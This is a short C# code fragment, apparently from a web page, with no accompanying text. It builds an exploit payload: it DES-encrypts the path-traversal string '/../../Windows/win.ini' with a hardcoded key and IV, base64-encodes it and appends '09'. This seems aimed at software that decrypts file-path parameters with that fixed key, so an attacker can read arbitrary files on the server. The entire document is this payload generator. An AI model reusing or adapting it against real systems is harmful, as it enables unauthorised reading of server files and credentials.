1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| Enc("/../../Windows/win.ini");
static string Enc(string plainText) {
byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 }; byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 };
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider { Key = Keys, IV = Iv };
MemoryStream memoryStream = new MemoryStream();
ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor();
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write)) { cryptoStream.Write(plainBytes, 0, plainBytes.Length); cryptoStream.FlushFinalBlock(); }
string encryptedText = Convert.ToBase64String(memoryStream.ToArray());
return encryptedText+"09"; }
|